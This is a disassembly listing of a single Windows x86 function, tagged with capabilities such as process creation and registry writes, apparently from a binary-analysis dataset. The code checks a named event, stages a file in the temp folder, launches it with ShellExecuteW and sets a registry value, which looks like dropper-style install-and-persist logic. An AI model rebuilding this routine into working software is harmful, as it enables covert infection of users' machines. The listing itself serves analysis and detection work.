Function at 0x4028b0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x250
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push ebp
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x52]
push ecx
mov word [esp + 0x54], ax
call fcn.00417c50
xor edx, edx
add esp, 0xc
xor eax, eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov word [esp + 0x46], ax
mov eax, 0x43cb20
mov word [esp + 0x20], dx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0x104
lea edx, [eax + 2]
jmp 0x402930
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402930
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
sub eax, edx
sar eax, 1
je 0x40295d
push 0x43cb20
push 0
push 0x20000
call esi
test eax, eax
jne 0x402b31
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0xc]
push eax
push 0xf003f
push 0
push 0x4330a0
push connect
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4029ce
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push 0x43310c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4029c7
lea edx, [esp + 0x20]
push edx
push eax
push 0x20000
call esi
test eax, eax
je 0x4029c7
mov eax, dword [esp + 0xc]
push eax
call ebp
jmp 0x402b31
mov ecx, dword [esp + 0xc]
push ecx
call ebp
lea edx, [esp + 0x48]
push edx
push 0x104
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, 0x43cb40
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4029f0
sub eax, edx
sar eax, 1
jne 0x402a36
push 0x433154
lea eax, [esp + 0x4c]
push 0x104
push eax
call fcn.004157f4
add esp, 0xc
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + 0x433160]
mov word [esp + eax + 0x20], cx
add eax, 2
test cx, cx
jne 0x402a20
jmp 0x402a64
push 0x43cb40
lea ecx, [esp + 0x4c]
push 0x104
push ecx
call fcn.004157f4
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [eax + 0x43cb40]
mov word [esp + eax + 0x20], cx
add eax, 2
test cx, cx
jne 0x402a50
push 0x43316c
lea edx, [esp + 0x4c]
push 0x104
push edx
call fcn.004157f4
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 0x433178
push 0x87
call fcn.00403660
mov esi, eax
add esp, 0xc
test esi, esi
je 0x402b31
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x48]
push esi
push ecx
call fcn.00402610
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x433190
lea edx, [esp + 0x54]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esp + 0xc]
push eax
push 3
push 0
push 0x433198
push connect
call ebx
test eax, eax
jne 0x402b28
lea eax, [esp + 0x20]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402af0
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [esp + 0xc]
push ecx
lea edx, [esp + 0x24]
push edx
push 1
push 0
push 0x433204
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402b28
mov ecx, dword [esp + 0xc]
push ecx
call ebp
push esi
call fcn.0040b1c1
add esp, 4
mov ecx, dword [esp + 0x254]
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004155fc
add esp, 0x250
ret